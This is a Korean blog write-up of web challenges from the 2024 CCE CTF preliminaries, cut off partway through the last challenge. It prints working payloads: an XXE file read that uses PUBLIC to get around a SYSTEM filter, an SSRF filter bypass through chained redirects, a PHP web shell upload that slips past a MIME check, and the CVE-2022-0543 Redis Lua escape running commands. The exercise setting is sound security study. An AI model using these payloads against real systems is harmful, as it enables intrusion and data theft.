일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- WebHacking
- Writeup
- 시스템프로그래밍
- SQL Injection
- 알고리즘
- webhackingkr
- 웹해킹
- SQL
- 화이트햇콘테스트
- 시스템
- 상호배제
- CODEGATE
- webhacking.kr
- web
- ctf
- 운영체제
- XSS
- 프로세스
- lordofsqlinjection
- Linux
- sqli
- crosssitescripting
- ubuntu
- Los
- 해킹
- hacking
- Python
- CCE
- rubiya
- SQLInjection
- Today
- Total
One_Blog
2024 CCE CTF Preliminaries Web All Writeup 본문
이번 주말에 CCE를 즐겨줬다.
웹 문제가 생각보다 많아서 당황했는데..
결과적으로 6문제 중에 4문제를 솔브했다.
다 풀진 못했지만 학생부에서 웹 최다 솔브 였기에 기분이 좋았고,
결과적으로 2등이라는 나쁘지 않은 예선 성적을 거둬서 기분이 좋았다.
갠적으로 1등 노려보고 싶었는데, 1등이 디미고 연합 팀이었다.
아마 본선가도 저 팀이 1등할거같은 느낌적인 느낌이다.
아무튼간에 web 라이트업 작성해보겠다.
Time Travel
이건 뭘 알려주려고 만든 문제인 지 이해가 안되는 문제인데..
그냥
<?php
$results = [];
for ($codepoint = 0x4E00; $codepoint <= 0x9FFF; $codepoint++) {
$char = mb_convert_encoding('&#' . intval($codepoint) . ';', 'UTF-8', 'HTML-ENTITIES');
$encoded = @iconv('UTF-8', 'ISO-2022-CN-EXT', $char);
if ($encoded !== false) {
$results[] = $char;
}
}
foreach ($results as $result) {
echo $result . "\n";
}
?>
이거 돌려서 나오는 유니코드 문자 중에 몇개 골라서 보내주면 passcord 검증이 통과가 된다.
문제 자체가 간단하고 최다 솔브 문제라 자세하게 적지 않겠다.
gg
Internal Inspection
from flask import Flask, render_template, request, send_file
from flask_sqlalchemy import SQLAlchemy
from lxml import etree
import pandas as pd
import io, os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{os.path.dirname(__file__)}/instance/members.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
class Member(db.Model):
__tablename__ = 'members'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(100), nullable=False)
address = db.Column(db.String(200))
company = db.Column(db.String(100))
job = db.Column(db.String(100))
email = db.Column(db.String(100))
username = db.Column(db.String(50))
class Pay(db.Model):
__tablename__ = 'pay'
id = db.Column(db.Integer, primary_key=True)
uuid = db.Column(db.String(36))
name = db.Column(db.String(100))
team = db.Column(db.String(100))
salary = db.Column(db.Integer)
class Notice(db.Model):
__tablename__ = 'notice'
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.String(100))
content = db.Column(db.String(500))
date = db.Column(db.Date)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/member')
def member():
members = Member.query.all()
return render_template('member.html', members=members)
@app.route('/pay')
def pay():
pays = Pay.query.all()
return render_template('pay.html', pays=pays)
@app.route('/notice', methods=['GET'])
def notice():
search_query = request.args.get('q', '').strip().lower()
if search_query:
filtered_notices = Notice.query.filter(Notice.title.ilike(f'%{search_query}%')).all()
if filtered_notices:
return render_template('notice_list.html', filtered_notices=filtered_notices, search_query=search_query)
else:
return render_template('notice_list.html', no_data=True, search_query=search_query)
else:
notices = Notice.query.all()
return render_template('notice_list.html', notices=notices)
@app.route('/notice/<int:notice_id>')
def notice_detail(notice_id):
notice = Notice.query.get(notice_id)
return render_template('notice_detail.html', notice=notice)
@app.route('/download', methods=['POST'])
def download():
xml_file = request.files['file']
xml_data = xml_file.read()
xml_data = xml_data.decode('UTF-8')
xml_data = xml_data.replace("SYSTEM", "system")
xml_data = xml_data.encode('UTF-8')
parser = etree.XMLParser(encoding='UTF-8')
try:
root = etree.fromstring(xml_data, parser=parser)
except:
root = etree.fromstring("<name>fail</name>", parser=parser)
data = []
try:
for member in root.findall('member'):
name = member.find('name').text
address = member.find('address').text
company = member.find('company').text
job = member.find('job').text
email = member.find('email').text
username = member.find('username').text
data.append([name, address, company, job, email, username])
df = pd.DataFrame(data, columns=['Name', 'Address', 'Company', 'Job', 'Email', 'Username'])
output = io.BytesIO()
df.to_excel(output, index=False, engine='openpyxl')
output.seek(0)
except:
output = str()
return send_file(output, as_attachment=True, mimetype='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', download_name='members.xlsx')
@app.route('/pay_download', methods=['POST'])
def pay_download():
pays = Pay.query.all()
df = pd.DataFrame([(pay.uuid, pay.name, pay.team, pay.salary) for pay in pays], columns=['UUID', 'Name', 'Team', 'Salary'])
output = io.BytesIO()
df.to_excel(output, index=False, engine='openpyxl')
output.seek(0)
return send_file(output, as_attachment=True, mimetype='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', download_name='pays.xlsx')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
Python으로 XML을 파싱해서 Excel파일로 리턴해주는 서버였다.
이때 XXE 공격을 통해 /flag를 leak하면 되는 문제 였는데, SYSTEM이 막혀있었다.
이를 우회하기 위해 우리 팀은 PUBLIC 문법을 사용했다.
import requests
xml = """<!DOCTYPE members [ <!ENTITY asd PUBLIC "qwe" "file:///flag"> ]>
<members>
<member>
<name>John Doe</name>
<address>123 Main St</address>
<company>Acme Corp</company>
<job>zz</job>
<email>johndoe@example.com</email>
<username>&asd;</username>
</member>
</members>
"""
res = requests.post("http://52.231.138.201:8580/download", files={"file": xml})
open("a.xlsx", "wb").write(res.content)
PUBLIC으로 외부 객체를 참조해서 username에 삽입하는 xml 코드인데,
이거 실행하면 로컬 a.xlsx에 플래그가 생긴다.
gg
Hallucination
Graphql을 쓸 수 있게 해놨는데,
이렇게 마음대로 쿼리를 날려볼 수 있었다.
{__type (name: "Query") {name fields{name}}}
위와 같이 Query타입 데이터 검색해보면 , POSTER, getKey, Secret이 보인다.
딱봐도 Secret에 뭔가 있을 거 같은데, 데이터 형식 맞춰서 조회해보면
{
"data": {
"Secret": "You can see me local!"
}
}
로컬에서만 볼 수 있다고 한다. 뭔가 다른 정보가 더 있어야 할 것 같아 POSTER, getKey를 조회해보면,
getKey도 마찬가지로 로컬에서만 볼 수 있다고 뜨고, POSTER은 /WANTED로 가보라고 한다.
/WANTED로 가보면,
이런식으로 현상수배 포스터가 하나 뜬다. 포트 3000 말고는 딱히 얻을 게 없어 보이는데..
로컬에서 요청을 보내기 위한 방법을 찾기 위해 Mutation을 조회해보았다.
{__type (name: "Mutation") {name fields{name}}}
{
"data": {
"__type": {
"name": "Mutation",
"fields": [
{
"name": "mirror"
},
{
"name": "mirroR"
},
{
"name": "mirrOr"
},
{
"name": "mirrOR"
},
{
"name": "mirRor"
},
{
"name": "mirRoR"
},
{
"name": "mirROr"
},
{
"name": "mirROR"
},
{
"name": "miRror"
},
{
"name": "miRroR"
},
{
"name": "miRrOr"
},
{
"name": "miRrOR"
},
{
"name": "miRRor"
},
{
"name": "miRRoR"
},
{
"name": "miRROr"
},
{
"name": "miRROR"
},
{
"name": "mIrror"
},
{
"name": "mIrroR"
},
{
"name": "mIrrOr"
},
{
"name": "mIrrOR"
},
{
"name": "mIrRor"
},
{
"name": "mIrRoR"
},
{
"name": "mIrROr"
},
{
"name": "mIrROR"
},
{
"name": "mIRror"
},
{
"name": "mIRroR"
},
{
"name": "mIRrOr"
},
{
"name": "mIRrOR"
},
{
"name": "mIRRor"
},
{
"name": "mIRRoR"
},
{
"name": "mIRROr"
},
{
"name": "mIRROR"
},
{
"name": "Mirror"
},
{
"name": "MirroR"
},
{
"name": "MirrOr"
},
{
"name": "MirrOR"
},
{
"name": "MirRor"
},
{
"name": "MirRoR"
},
{
"name": "MirROr"
},
{
"name": "MirROR"
},
{
"name": "MiRror"
},
{
"name": "MiRroR"
},
{
"name": "MiRrOr"
},
{
"name": "MiRrOR"
},
{
"name": "MiRRor"
},
{
"name": "MiRRoR"
},
{
"name": "MiRROr"
},
{
"name": "MiRROR"
},
{
"name": "MIrror"
},
{
"name": "MIrroR"
},
{
"name": "MIrrOr"
},
{
"name": "MIrrOR"
},
{
"name": "MIrRor"
},
{
"name": "MIrRoR"
},
{
"name": "MIrROr"
},
{
"name": "MIrROR"
},
{
"name": "MIRror"
},
{
"name": "MIRroR"
},
{
"name": "MIRrOr"
},
{
"name": "MIRrOR"
},
{
"name": "MIRRor"
},
{
"name": "MIRRoR"
},
{
"name": "MIRROr"
},
{
"name": "MIRROR"
}
]
}
}
}
이런식으로 이상한 정보가 엄청 뜬다.
하나하나 조회해보는 파이썬 코드 짜서 돌려주면,
import requests
k = [
"mirror",
"mirroR",
"mirrOr",
"mirrOR",
"mirRor",
"mirRoR",
"mirROr",
"mirROR",
"miRror",
"miRroR",
"miRrOr",
"miRrOR",
"miRRor",
"miRRoR",
"miRROr",
"miRROR",
"mIrror",
"mIrroR",
"mIrrOr",
"mIrrOR",
"mIrRor",
"mIrRoR",
"mIrROr",
"mIrROR",
"mIRror",
"mIRroR",
"mIRrOr",
"mIRrOR",
"mIRRor",
"mIRRoR",
"mIRROr",
"mIRROR",
"Mirror",
"MirroR",
"MirrOr",
"MirrOR",
"MirRor",
"MirRoR",
"MirROr",
"MirROR",
"MiRror",
"MiRroR",
"MiRrOr",
"MiRrOR",
"MiRRor",
"MiRRoR",
"MiRROr",
"MiRROR",
"MIrror",
"MIrroR",
"MIrrOr",
"MIrrOR",
"MIrRor",
"MIrRoR",
"MIrROr",
"MIrROR",
"MIRror",
"MIRroR",
"MIRrOr",
"MIRrOR",
"MIRRor",
"MIRRoR",
"MIRROr",
"MIRROR",
]
for kk in k:
r = requests.post(
"http://52.231.142.80/graphql",
json={
"query": 'mutation{HERE(url:"http://127.0.0.1/graphql?query={getKey}&a=",method:"POST",port:0)}'.replace("HERE", kk),
"variables": None,
},
)
print(r.text)
{"data":{"mIRRoR":"Am I Real or Fake?"}}
{"data":{"mIRROr":"Am I Real or Fake?"}}
{"data":{"mIRROR":"Am I Real or Fake?"}}
{"data":{"Mirror":"Am I Real or Fake?"}}
{"data":{"MirroR":"Am I Real or Fake?"}}
{"data":{"MirrOr":"Am I Real or Fake?"}}
{"data":{"MirrOR":"Am I Real or Fake?"}}
{"data":{"MirRor":"Error: Call to 127.0.0.1 is blocked."}}
{"data":{"MirRoR":"Am I Real or Fake?"}}
{"data":{"MirROr":"Am I Real or Fake?"}}
{"data":{"MirROR":"Am I Real or Fake?"}}
{"data":{"MiRror":"Am I Real or Fake?"}}
{"data":{"MiRroR":"Am I Real or Fake?"}}
{"data":{"MiRrOr":"Am I Real or Fake?"}}
{"data":{"MiRrOR":"Am I Real or Fake?"}}
{"data":{"MiRRor":"Am I Real or Fake?"}}
{"data":{"MiRRoR":"Am I Real or Fake?"}}
이런식으로 MirRor에만 뭔가 응답이 다른 걸 볼 수 있다.
참고로
mutation{HERE(url:"http://127.0.0.1/graphql?query={getKey}&a=",method:"POST",port:0)}
해당 쿼리는 Mirror 계열 데이터를 조회하기 위한 쿼리 형식이다.
url, method, port를 요구 받는다.
암튼간에 로컬 호스트 요청을 어떻게 잘 우회해서 보내야하는 거 같은데,
0, 127.0.0.1, [::0], localhost, 등등 다양한 걸 시도해봤는데 다 막혔다.
나중에 보니까 이게 ssrf-req-filter라는 라이브러리로 막고 있는 거였다.
https://github.com/y-mehta/ssrf-req-filter
이걸 우회하기 위한 방법을 찾아봤는데,
https://blog.doyensec.com/2023/03/16/ssrf-remediation-bypass.html
이런식으로 https -> http, http -> https로 프로토콜을 다르게 해서 redirection을 해주면 우회가 된다고 한다.
라이브러리 코드 상에
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}
프로토콜을 다르게 하는 경우 뭔가 처리하는 로직이 있기 때문이라고 한다.
자세한 건 위 글을 읽어보면 알 수 있다.
암튼간에 저걸 악용해서, https -> http로 로딩되도록 해야 하는데..
(http -> https는 안됨, 로컬 요청에서 443 보내면 Connection refused)
문제는 https에서 http로 리다이렉션을 할려면 내가 https로 돌아가는 서버를 열어야 한다는 점이었다.
이게 좀 귀찮았는데..
나는 개인 서버를 열어서
ubuntu@ip-172-31-26-141:/var/www/html$ cat 1.php
<?php
$redirectUrl = 'http://localhost:3000/graphql?query={getKey}';
http_response_code(301);
header('Location: ' . $redirectUrl);
exit();
?>
이런식으로 리다이렉션 해서 getKey실행하게 해놓고,
이 서버 URL을 URL 단축 서비스를 이용해서 https로 바꿔줬다.
뭔 말이냐면,
단축된 URL(https) -> 개인 서버(http) -> http://localhost:3000/graphql?query=...
로 2단 리다이렉션을 시켰다는 것이다.
아무튼 이렇게 하면 ssrf filter를 우회해서 쿼리를 날릴 수 있다.
getKey, Secret모두 쿼리 날려보면
getKey에서 얻은 Key를 Secret쿼리 날릴 때 같이 보내줘야 하는 거였는데,
문제가 키가 10초마다 바뀐다는 것이었다.
난 이걸 해결하기 위해서 내 빠른 순발력을 이용했다.
구라가 아니고 개인서버를 활용해야해서 자동화가 어렵다보니, 진짜로 키 받고 키 받은걸로 빠르게 쿼리 고쳐서
다시 요청보내는 식으로 뚫어냈다. 10초는 생각보다 넉넉했다.
덕분에 문제를 풀 수 있었다.
gg
ㅋㅋㅋ
Information Leak
아니 이게 문제..자체는 재밌는데
게싱 성향이 좀.. 강했다..
블랙 박스기도 하고, 좀 유추해야하는 게 있었다.
암튼 풀이를 해보자면,
이런식으로 피싱 사이트가 있었고, 아이디 비밀번호를 입력하면 id.txt , pw.txt에 저장되는 피싱 사이트였다.
프론트쪽 코드를 뜯어보면 대강 save.php에 인자 값을 넘겨서 하는 거였는데,,
이게 문제였다.
여기서 뭐 더할 수 있는 게 없었다.
소스코드도 없고,아는 게 없다보니 초반에 잠깐 삽질하고 버려놨다가 다시 본 문제 였는데..
뭐라도 정보를 얻어보기 위해 대충 두드려보던 중에
admin.php가 있다는 것을 알게 되었다. (게싱..인줄 알았으나 인텐풀이 알게됨)
admin.php에 접근해보면, 원래는 redirection 됐는데,
save.php에서 session과 함께 hidden_navigate=1을 넘겨주면
admin session을 얻을 수 있었다. 로직은 뜯어봐야 알겠지만 접근 되니까 굳이 뜯어보지 않았다.
줄여놔서 뷰가 좀 깨졌는데, 암튼 탈취된 id, pw를 다운받을 수 있는 Download 버튼이 있었다.
<script>
$(document).ready(function() {
$('#downloadBtn').click(function () {
var postData = {
filename: "leak.xlsx",
contentA : "id.txt",
contentB : "pw.txt"
};
$.ajax({
type: "POST",
url: "./download.php",
data: postData,
xhrFields: {
responseType: 'blob'
},
success: function(response, status, xhr) {
var blob = new Blob([response], { type: xhr.getResponseHeader('Content-Type') });
var link = document.createElement('a');
link.href = window.URL.createObjectURL(blob);
link.download = "leak.xlsx";
link.click();
},
error: function(xhr, status, error) {
console.error('AJAX ERROR: ', error);
alert('Failed to download the file.');
}
});
});
});
</script>
이런식으로 어떤식으로 leak된 패스워드 아이디를 받아오는 지 알 수 있었다.
이걸로 download.php 사용법을 알 수 있었고, contentA, contentB 파라미터를 조작하여
Path Traversal이 가능했다.
그리고 download.php가 있으니 upload.php가 있을거라 생각했고, 진짜 있었다. (여기도 게싱;;)
이걸로 upload.php를 다운받아 로직을 뜯어보니,
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['file'];
$clientIp = $_SERVER['REMOTE_ADDR'];
$ipBasedDir = __DIR__ . '/uploads/' . str_replace('.', '_', $clientIp) . '/';
if (!is_dir($ipBasedDir)) {
mkdir($ipBasedDir, 0777, true);
}
$fileName = $file['name'];
$fileExtension = pathinfo($fileName, PATHINFO_EXTENSION);
$fileBaseName = pathinfo($fileName, PATHINFO_FILENAME);
$uuid = uniqid('', true);
$newFileName = $uuid . '.' . $fileExtension;
$uploadPath = $ipBasedDir . $newFileName;
$allowedImageMimeTypes = ['image/jpeg', 'image/png', 'image/gif'];
$fileMimeType = mime_content_type($file['tmp_name']);
if (strpos($fileBaseName, 'CCE2024') !== false) {
$isFileValid = true;
} else {
$isFileValid = in_array($fileMimeType, $allowedImageMimeTypes);
}
if ($isFileValid) {
if (move_uploaded_file($file['tmp_name'], $uploadPath)) {
http_response_code(200);
$encodedPath = base64_encode($uploadPath);
header('X-Upload-Path: ' . $encodedPath);
echo "파일 업로드 성공";
} else {
http_response_code(500);
echo "파일 업로드 실패";
}
} else {
http_response_code(400);
echo "파일 형식이 유효하지 않습니다.";
}
} else {
http_response_code(405);
echo "잘못된 요청 방법입니다.";
}
이런식으로 인자 값 받아서 처리되는 걸 볼 수 있었다.
대충 보면 mimetype이 이미지거나, 파일명에 CCE2024가 포함되면
업로드를 시켜주는 걸 알 수 있었다. 난 그냥 php파일이름을 CCE2024로 바꿔서 웹 쉘 업로드를 했는데,
이걸 푼 다른 분께선 이미지 파일 맨 끝에 웹 쉘 코드를 삽입해서 mimetype을 우회한 분이 계셨다.
아무튼간에, 저걸 이용해서 웹 쉘을 업로드하고 접근할 수 있었고,
RCE를 트리거할 수 있었다.
문제는 RCE를 트리거 해도 권한이 없었고, 플래그를 보려면 root여야 했다.
그래서 이것 저것 건드려보다가 redis가 있다는 걸 알게 됐는데, redis-cli를 해도 connection refused가 떴다.
보니까 redis가 172.40.0.10에서 돌고 있었다.
redis-cli -h 172.40.0.10으로 redis에 접속할 수 있었는데, 여기서 뭘 더 해야하지? 했는데..
redis 버전을 확인해보니 redis 버전이 5.0.7 이었고, 5.0.7 버전에 LPE rce 취약점이 존재했다.
https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md
마침 OS도 ubuntu였기에, 페이로드를 작동시켜 봤고,
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
권한 상승을 할 수 있었다.
최종 페이로드는 아래와 같았다.
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /data/flag*", "r"); local res = f:read("*a"); f:close(); return res' 0
gg
(문제 자체가 게싱으로 푼 느낌이 있는데, 뭔가 다른 접근 방법이 있던건가 알고 싶긴하다.)
그리고 여기부터가 내가 기간 안에 못푼 문제들이다. CCE AirFlight는 분석하다가 코드가 진심 너무 많아서
아 이거 시간안에 못풀겠구나 (대회 시간이 9시~6시) 해서 안했고,
나머지 하나는 XSS 계열인데, 이것도 4문제 풀고 나니 시간이 없어서 안봤다.
아무튼 풀이를 이어가보겠다.
CCE Air Flight
뭔 php로 mvc 패턴을 비슷하게 구현해놨다.
접속해보면
이렇게 항공권 예약할 수 있는데,
대강 분석해보면 있는 기능이
로그인&회원가입 / 항공권 검색 / 항공권 구매 / 항공권 구입 문의
가 있었고, internal network에선 문의사항을 확인해주는 봇이 있었다.
일단 파일 업로드 자체에서 tmp_name으로 확장자 검사를 해주고 있었는데..
여기서 새로운 사실을 알게 됐다.
$finfo = new finfo(FILEINFO_MIME_TYPE);
$allowExtension = array_search($finfo->file($_FILE['tmp_name']), $this->allowExtension, true);
$blockedExtension = array_search($finfo->file($_FILE['tmp_name']), $this->blockedExtension, true);
이렇게 검사해주고 있었는데, 이때
<?= system($_GET['_']); ?> 와 <?php system($_GET['_']); ?>의 finfo기반 Mimetype이 달랐던 거시다 ㄷㄷ
secu 💡 ~/PhpstormProjects/TestBuild php curl_php.php
The MIME type of the file is: text/plain% secu 💡 ~/PhpstormProjects/TestBuild php curl_php.php
The MIME type of the file is: text/x-php
ㄷㄷㄷㄷㄷㄷ
이것 때문에 <?= system 형식의 웹쉘을 업로드하면 업로드가 가능했다. 문제는
filepath를 알수가 없다는 거였는데.. 이걸 xss를 통해서 해결할 수 있었다. bot에 문의를 하게 되면
if ($REQUEST_METHOD === 'GET') {
if ($_SESSION['role'] === 'admin' && $_GET['cf_uid'] !== null) {
$result = $customerService->callGetCustomerService($_GET['cf_uid']);
if (empty($result)) {
header("HTTP/1.1 404 Not Found");
die("<script>location.replace('/index.php'); </script>");
} else {
header("HTTP/1.1 200 OK");
}
$fileInfo = $fileUpload->callGetInformationOfFile($result['fuid'], $result['user_uid']);
?>
<?php
include "../../public/components/header.php";
?>
<main>
<div class="position-relative overflow-hidden p-3 p-md-5 m-md-3 text-center bg-body-tertiary">
<div class="col-md-8 p-lg-5 mx-auto my-1">
<h1 class="display-3 fw-bold"><?=$configObject->getConfig('NAME')?></h1>
</div>
<div class="col-md-8 mx-auto my-1">
<h3 class="fw-normal text-muted">관리자 페이지</h3>
</div>
</div>
</main>
<main>
<section class="pt-5 pb-5">
<div class="container">
<div class="row">
<h2 class="fw-normal text-muted text-center mb-3">문의 정보</h2>
<p>cf_uid: <?=$result['cf_uid']?></p>
<p>purchase_uid: <?=$result['purchase_uid']?></p>
<p>user_uid: <?=$result['user_uid']?></p>
<p>flight_uid: <?=$result['flight_uid']?></p>
<p>Comment:<?=$result['title'], $result['content']?></p>
<p>create_datetime: <?=$result['create_datetime']?></p>
</div>
<hr>
<div class="row">
<h2 class="fw-normal text-muted text-center mb-3">첨부 파일 정보</h2>
<div class="mb-3">
<div class="input-group">
<span class="input-group-text" id="basic-addon3">파일명: <?=$fileInfo['origin_filename']?></span>
<span class="input-group-text" id="basic-addon3">경로</span>
<input type="text" class="form-control" id="filepath" value="<?=$fileInfo['path']?>" aria-describedby="basic-addon3 basic-addon4" disabled>
</div>
</div>
<div class="input-group">
<span class="input-group-text">파일 데이터</span>
<?php
if (str_starts_with($fileInfo['metadata'], '<img')) {
?>
<?=$fileInfo['metadata']?>
<?php
} else {
?>
<textarea class="form-control" id="metadata" aria-label="With textarea" rows="10" disabled><?=$fileInfo['metadata']?></textarea>
<?php
}
?>
</div>
</div>
</div>
</section>
</main>
이렇게 $fileInfo로 path를 출력해줬기 때문에, xss를 트리거할 수 있다면 업로드된 웹 쉘의 경로를 webhook을 통해
가져올 수 있었다.
문제는 xss였는데, title과 content가
$title = $inputFilterObj->clean($title, 'string');
$content = $inputFilterObj->clean($content, 'string');
public function clean($source, $type = 'string')
{
$type = ucfirst(strtolower($type));
if ($type === 'Array') {
return (array)$source;
}
if ($type === 'Raw') {
return $source;
}
if (\is_array($source)) {
$result = [];
foreach ($source as $key => $value) {
$result[$key] = $this->clean($value, $type);
}
return $result;
}
if (\is_object($source)) {
foreach (get_object_vars($source) as $key => $value) {
$source->$key = $this->clean($value, $type);
}
return $source;
}
$method = 'clean' . $type;
if (method_exists($this, $method)) {
return $this->$method((string)$source);
}
// Unknown filter method
if (is_string($source) && !empty($source)) {
// Filter source for XSS and other 'bad' code etc.
return $this->cleanString($source);
}
// Not an array or string... return the passed parameter
return $source;
}
private function cleanString($source)
{
return $this->containsXSSKeyword($this->remove($source));
}
protected function containsXSSKeyword($string)
{
$keywords = [
'location.' => "/location\.[^;]*;/i",
'document.' => "/document\.[^;]*;/i",
'eventHandler' => "/on[a-z]+=[^;]*;/"
];
foreach ($keywords as $keyword => $replacement) {
$string = preg_replace("$replacement", "", $string);
}
return $string;
}
이런식으로 sanitize되고 있었다.
일단 location.href랑 document.getElementById 못 쓰는거는..
location['href']와 document['getElementById']로 쉽게 우회가 됐다.
문제는
태그를 열려면
protected function cleanTags($source)
{
// First, pre-process this for illegal characters inside attribute values
$source = $this->escapeAttributeValues($source);
// In the beginning we don't really have a tag, so everything is postTag
$preTag = null;
$postTag = $source;
$currentSpace = false;
// Setting to null to deal with undefined variables
$attr = '';
// Is there a tag? If so it will certainly start with a '<'.
$tagOpenStart = StringHelper::strpos($source, '<');
while ($tagOpenStart !== false) {
// Get some information about the tag we are processing
$preTag .= StringHelper::substr($postTag, 0, $tagOpenStart);
$postTag = StringHelper::substr($postTag, $tagOpenStart);
$fromTagOpen = StringHelper::substr($postTag, 1);
$tagOpenEnd = StringHelper::strpos($fromTagOpen, '>');
// Check for mal-formed tag where we have a second '<' before the first '>'
$nextOpenTag = (StringHelper::strlen($postTag) > $tagOpenStart) ? StringHelper::strpos($postTag, '<', $tagOpenStart + 1) : false;
if (($nextOpenTag !== false) && ($nextOpenTag < $tagOpenEnd)) {
// At this point we have a mal-formed tag -- remove the offending open
$postTag = StringHelper::substr($postTag, 0, $tagOpenStart) . StringHelper::substr($postTag, $tagOpenStart + 1);
$tagOpenStart = StringHelper::strpos($postTag, '<');
continue;
}
// Let's catch any non-terminated tags and skip over them
if ($tagOpenEnd === false) {
$postTag = StringHelper::substr($postTag, $tagOpenStart + 1);
$tagOpenStart = StringHelper::strpos($postTag, '<');
continue;
}
// Do we have a nested tag?
$tagOpenNested = StringHelper::strpos($fromTagOpen, '<');
if (($tagOpenNested !== false) && ($tagOpenNested < $tagOpenEnd)) {
$preTag .= StringHelper::substr($postTag, 1, $tagOpenNested);
$postTag = StringHelper::substr($postTag, ($tagOpenNested + 1));
$tagOpenStart = StringHelper::strpos($postTag, '<');
continue;
}
// Let's get some information about our tag and setup attribute pairs
$tagOpenNested = (StringHelper::strpos($fromTagOpen, '<') + $tagOpenStart + 1);
$currentTag = StringHelper::substr($fromTagOpen, 0, $tagOpenEnd);
$tagLength = StringHelper::strlen($currentTag);
$tagLeft = $currentTag;
$attrSet = [];
$currentSpace = StringHelper::strpos($tagLeft, ' ');
// Are we an open tag or a close tag?
if (StringHelper::substr($currentTag, 0, 1) === '/') {
// Close Tag
$isCloseTag = true;
list($tagName) = explode(' ', $currentTag);
$tagName = StringHelper::substr($tagName, 1);
} else {
// Open Tag
$isCloseTag = false;
list($tagName) = explode(' ', $currentTag);
}
/*
* Exclude all "non-regular" tagnames
* OR no tagname
* OR remove if xssauto is on and tag is blocked
*/
if (
(!preg_match('/^[a-z][a-z0-9]*$/i', $tagName))
|| (!$tagName)
|| ((\in_array(strtolower($tagName), $this->blockedTags)) && $this->xssAuto)
) {
$postTag = StringHelper::substr($postTag, ($tagLength + 2));
$tagOpenStart = StringHelper::strpos($postTag, '<');
// Strip tag
continue;
}
/*
* Time to grab any attributes from the tag... need this section in
* case attributes have spaces in the values.
*/
while ($currentSpace !== false) {
$attr = '';
$fromSpace = StringHelper::substr($tagLeft, ($currentSpace + 1));
$nextEqual = StringHelper::strpos($fromSpace, '=');
$nextSpace = StringHelper::strpos($fromSpace, ' ');
$openQuotes = StringHelper::strpos($fromSpace, '"');
$closeQuotes = StringHelper::strpos(StringHelper::substr($fromSpace, ($openQuotes + 1)), '"') + $openQuotes + 1;
$startAtt = '';
$startAttPosition = 0;
// Find position of equal and open quotes ignoring
if (preg_match('#\s*=\s*\"#', $fromSpace, $matches, \PREG_OFFSET_CAPTURE)) {
// We have found an attribute, convert its byte position to a UTF-8 string length, using non-multibyte substr()
$stringBeforeAttr = substr($fromSpace, 0, $matches[0][1]);
$startAttPosition = StringHelper::strlen($stringBeforeAttr);
$startAtt = $matches[0][0];
$closeQuotePos = StringHelper::strpos(
StringHelper::substr($fromSpace, ($startAttPosition + StringHelper::strlen($startAtt))),
'"'
);
$closeQuotes = $closeQuotePos + $startAttPosition + StringHelper::strlen($startAtt);
$nextEqual = $startAttPosition + StringHelper::strpos($startAtt, '=');
$openQuotes = $startAttPosition + StringHelper::strpos($startAtt, '"');
$nextSpace = StringHelper::strpos(StringHelper::substr($fromSpace, $closeQuotes), ' ') + $closeQuotes;
}
// Do we have an attribute to process? [check for equal sign]
if ($fromSpace !== '/' && (($nextEqual && $nextSpace && $nextSpace < $nextEqual) || !$nextEqual)) {
if (!$nextEqual) {
$attribEnd = StringHelper::strpos($fromSpace, '/') - 1;
} else {
$attribEnd = $nextSpace - 1;
}
// If there is an ending, use this, if not, do not worry.
if ($attribEnd > 0) {
$fromSpace = StringHelper::substr($fromSpace, $attribEnd + 1);
}
}
if (StringHelper::strpos($fromSpace, '=') !== false) {
/*
* If the attribute value is wrapped in quotes we need to grab the substring from the closing quote,
* otherwise grab until the next space.
*/
if (
($openQuotes !== false)
&& (StringHelper::strpos(StringHelper::substr($fromSpace, ($openQuotes + 1)), '"') !== false)
) {
$attr = StringHelper::substr($fromSpace, 0, ($closeQuotes + 1));
} else {
$attr = StringHelper::substr($fromSpace, 0, $nextSpace);
}
} else {
// No more equal signs so add any extra text in the tag into the attribute array [eg. checked]
if ($fromSpace !== '/') {
$attr = StringHelper::substr($fromSpace, 0, $nextSpace);
}
}
// Last Attribute Pair
if (!$attr && $fromSpace !== '/') {
$attr = $fromSpace;
}
// Add attribute pair to the attribute array
$attrSet[] = $attr;
// Move search point and continue iteration
$tagLeft = StringHelper::substr($fromSpace, StringHelper::strlen($attr));
$currentSpace = StringHelper::strpos($tagLeft, ' ');
}
// Is our tag in the user input array?
$tagFound = \in_array(strtolower($tagName), $this->tagsArray);
// If the tag is allowed let's append it to the output string.
if ((!$tagFound && $this->tagsMethod) || ($tagFound && !$this->tagsMethod)) {
// Reconstruct tag with allowed attributes
if (!$isCloseTag) {
// Open or single tag
$attrSet = $this->cleanAttributes($attrSet);
$preTag .= '<' . $tagName;
for ($i = 0, $count = \count($attrSet); $i < $count; $i++) {
$preTag .= ' ' . $attrSet[$i];
}
// Reformat single tags to XHTML
if (StringHelper::strpos($fromTagOpen, '</' . $tagName)) {
$preTag .= '>';
} else {
$preTag .= ' />';
}
} else {
// Closing tag
$preTag .= '</' . $tagName . '>';
}
}
// Find next tag's start and continue iteration
$postTag = StringHelper::substr($postTag, ($tagLength + 2));
$tagOpenStart = StringHelper::strpos($postTag, '<');
}
// Append any code after the end of tags and return
if ($postTag !== '<') {
$preTag .= $postTag;
}
return $preTag;
}
이 답 없어 보이는 로직을 우회해야했는데..
